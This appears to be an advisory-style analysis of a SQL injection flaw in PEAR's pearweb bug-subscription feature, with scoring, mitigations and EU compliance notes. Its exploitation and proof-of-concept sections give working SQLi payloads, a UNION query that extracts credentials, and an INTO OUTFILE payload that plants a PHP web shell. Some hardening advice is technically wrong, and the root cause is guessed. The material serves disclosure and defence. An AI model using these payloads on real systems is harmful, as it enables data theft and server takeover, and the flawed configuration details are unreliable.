Comprehensive Technical Analysis of EUVD-2026-5197 (CVE-2026-25238)

PEAR SQL Injection Vulnerability (Pre-1.33.0)

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-5197 (CVE-2026-25238) describes a SQL injection (SQLi) vulnerability in PEAR (PHP Extension and Application Repository), specifically in the bug subscription deletion functionality of pearweb (the web interface for PEAR). The flaw arises from improper sanitization of user-supplied input (the email parameter) before incorporating it into SQL queries, allowing attackers to manipulate database queries.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.2 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network (no physical/logical access required).
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:P): Partial requirements (e.g., knowledge of the target system).
• Privileges Required (PR:N): No privileges required; unauthenticated exploitation possible.
• User Interaction (UI:N): No user interaction needed.
• Confidentiality (VC:H), Integrity (VI:H), Availability (VA:H): High impact on all three security pillars.
• Subsequent System Impact (SC:N/SI:N/SA:N): No downstream impact on other systems.

Severity Justification:

• Unauthenticated remote exploitation makes this a high-risk vulnerability.
• High impact on CIA triad (Confidentiality, Integrity, Availability) due to potential data exfiltration, modification, or deletion.
• Low attack complexity increases the likelihood of exploitation by threat actors.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability exists in the bug subscription deletion feature, where the email parameter is directly interpolated into SQL queries without proper sanitization or parameterized queries.

Exploitation Steps:

1. Identify Target: Locate a vulnerable PEAR instance (pearweb < 1.33.0).
2. Craft Malicious Request:
   • Send a HTTP POST/GET request to the bug subscription endpoint (e.g., /bugs/subscribe.php?action=unsubscribe).
   • Inject SQL payload via the email parameter:

     attacker@example.com' OR '1'='1'; --
     

     or a more advanced payload for data exfiltration:

     attacker@example.com' UNION SELECT username, password FROM users; --
     

3. Execute Arbitrary SQL:
   • If successful, the attacker can:
     • Dump database contents (usernames, passwords, session tokens).
     • Modify/delete records (e.g., altering bug reports, user accounts).
     • Execute OS commands (if the database supports stacked queries, e.g., MySQL with mysqli_multi_query).
4. Escalate Privileges:
   • If administrative credentials are obtained, an attacker could take over the PEAR instance or pivot to other systems.

Real-World Attack Scenarios

• Data Breach: Exfiltration of sensitive data (e.g., developer credentials, internal bug reports).
• Defacement: Modification of bug reports to spread misinformation or malware.
• Supply Chain Attack: If PEAR is used in CI/CD pipelines, attackers could inject malicious code into dependencies.
• Ransomware: Encryption of PEAR’s database (if the DBMS supports file manipulation via SQL).

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: pearweb (PEAR’s web interface)
• Vendor: pear (PEAR Foundation)
• Affected Versions: All versions prior to 1.33.0
• Patched Version: 1.33.0 (released Feb 3, 2026)

Impacted Environments

• Web Servers: Apache/Nginx hosting PEAR’s web interface.
• Database Backends: MySQL, PostgreSQL, or other SQL-compliant databases used by PEAR.
• PHP Versions: Likely affects all PHP versions supported by PEAR (PHP 7.4+ recommended).
• Deployment Scenarios:
  • Public PEAR mirrors (e.g., pear.php.net).
  • Private PEAR repositories (enterprise/internal use).
  • CI/CD pipelines integrating PEAR packages.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to PEAR 1.33.0:
   • Primary fix: Apply the patch immediately via:

     pear upgrade pearweb-1.33.0
     

   • Verify the update:

     pear list | grep pearweb
     

2. Temporary Workarounds (if patching is delayed):
   • Input Validation: Implement strict regex validation for the email parameter:

     if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
         die("Invalid email format");
     }
     

   • Web Application Firewall (WAF) Rules:
     • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
     • Example rule:

       SecRule ARGS:email "@detectSQLi" "id:1000,deny,status:403"
       

   • Database-Level Protections:
     • Least privilege principle: Restrict PEAR’s database user to read-only where possible.
     • Disable stacked queries (if using MySQL, set mysqli.allow_local_infile=0).

Long-Term Security Hardening

1. Code Review & Secure Coding Practices:
   • Use prepared statements (PDO or MySQLi) instead of raw SQL queries:

     $stmt = $pdo->prepare("DELETE FROM subscriptions WHERE email = ?");
     $stmt->execute([$email]);
     

   • Implement ORM (e.g., Doctrine) to abstract SQL interactions.
2. Infrastructure Security:
   • Isolate PEAR instances in a DMZ with strict network segmentation.
   • Enable HTTPS to prevent MITM attacks on authentication tokens.
3. Monitoring & Detection:
   • Log all SQL queries (temporarily) to detect injection attempts.
   • Deploy IDS/IPS (e.g., Snort, Suricata) to detect SQLi patterns.
   • Set up alerts for unusual database activity (e.g., unexpected UNION queries).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • If PEAR instances process EU citizen data, a successful exploit could lead to a data breach, triggering Article 33 (72-hour notification) and potential fines (up to 4% of global revenue).
• NIS2 Directive (Network and Information Security):
  • PEAR may be used by critical infrastructure (e.g., government, healthcare, finance). A breach could classify as a significant incident, requiring reporting to CSIRTs (Computer Security Incident Response Teams).
• DORA (Digital Operational Resilience Act):
  • Financial entities using PEAR must ensure third-party risk management and incident reporting compliance.

Threat Landscape in Europe

• Targeted Attacks:
  • APT groups (e.g., APT29, Turla) may exploit this in supply chain attacks against European organizations.
  • Ransomware gangs (e.g., LockBit, BlackCat) could use SQLi to escalate privileges before encryption.
• Open-Source Supply Chain Risks:
  • PEAR is a dependency for many PHP applications; a compromise could propagate to downstream projects.
  • ENISA’s Threat Landscape Report (2025) highlights open-source vulnerabilities as a top risk for EU cybersecurity.

Mitigation at the EU Level

• ENISA & CERT-EU Coordination:
  • Vulnerability disclosure via ENISA’s EUVD ensures rapid dissemination to national CSIRTs.
  • Joint patching campaigns for critical infrastructure.
• EU Cyber Resilience Act (CRA):
  • Mandates vulnerability reporting for open-source maintainers (PEAR must comply).
• European Cybersecurity Competence Centre (ECCC):
  • May fund audits of critical open-source projects like PEAR.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:
  • The bug subscription deletion feature in pearweb likely uses a query like:

    $query = "DELETE FROM bug_subscriptions WHERE email = '$email'";
    $result = mysqli_query($db, $query);
    

  • No input sanitization or parameterized queries are used, allowing classic SQLi.

Exploit Proof of Concept (PoC)

1. Basic SQLi (Authentication Bypass):

   POST /bugs/subscribe.php?action=unsubscribe HTTP/1.1
   Host: vulnerable-pear.example.com
   Content-Type: application/x-www-form-urlencoded
   
   email=admin@pear.example.com' OR '1'='1'; --
   

   • Impact: Deletes all bug subscriptions (or dumps data if UNION-based).

2. Advanced Exploitation (Data Exfiltration):

   POST /bugs/subscribe.php?action=unsubscribe HTTP/1.1
   Host: vulnerable-pear.example.com
   
   email=test@example.com' UNION SELECT 1, username, password, 4 FROM users; --
   

   • Impact: Retrieves usernames and password hashes (if output is reflected).

3. OS Command Execution (MySQL):

   email=test@example.com' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3, 4 INTO OUTFILE '/var/www/html/shell.php'; --
   

   • Impact: Writes a PHP web shell to the server.

Detection & Forensics

• Log Analysis:
  • Look for unusual SQL patterns in web server logs (e.g., UNION, SELECT, INTO OUTFILE).
  • Example grep:

    grep -i "union.*select" /var/log/apache2/access.log
    

• Database Forensics:
  • Check for unexpected table modifications (e.g., DROP TABLE, INSERT INTO).
  • Review MySQL general query log (if enabled):

    SET GLOBAL general_log = 'ON';
    

• Memory Forensics:
  • Use Volatility or Rekall to detect in-memory SQLi payloads in PHP processes.

Reverse Engineering the Patch

• Patch Analysis (pearweb 1.33.0):
  • The fix likely involves:
    1. Replacing raw SQL with prepared statements:

       $stmt = $pdo->prepare("DELETE FROM bug_subscriptions WHERE email = ?");
       $stmt->execute([$email]);
       

    2. Adding input validation:

       if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
           throw new InvalidArgumentException("Invalid email");
       }
       

  • Verification:
    • Compare subscribe.php between 1.32.0 and 1.33.0 using diff:

      diff pearweb-1.32.0/subscribe.php pearweb-1.33.0/subscribe.php
      

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Conclusion & Recommendations

Key Takeaways

• Critical Severity (9.2 CVSS): Unauthenticated SQLi with high impact on CIA.
• Exploitation is trivial: No special conditions required; public exploits likely to emerge.
• Supply chain risk: PEAR is widely used; downstream projects must verify dependencies.
• EU regulatory impact: GDPR, NIS2, and DORA compliance risks if unpatched.

Action Plan for Organizations

Priority	Action	Owner	Timeline
Critical	Upgrade PEAR to 1.33.0	DevOps/SysAdmins	Immediately
High	Deploy WAF rules (ModSecurity)	Security Team	Within 24h
Medium	Audit PEAR instances for signs of compromise	SOC/Forensics	Within 48h
Low	Implement secure coding guidelines for PHP	Development Team	Within 1 week

Final Recommendations

1. Patch immediately (no exceptions for production systems).
2. Monitor for exploitation attempts (IDS/IPS, log analysis).
3. Conduct a post-patch audit to ensure no backdoors were installed.
4. Review EU compliance (GDPR, NIS2) if PEAR processes sensitive data.
5. Engage with ENISA/CERT-EU if part of critical infrastructure.

References:

• PEAR Security Advisory (GHSA-cv3c-27h5-7gmv)
• CVSS v4.0 Calculator
• ENISA EUVD Database
• OWASP SQL Injection Prevention Cheat Sheet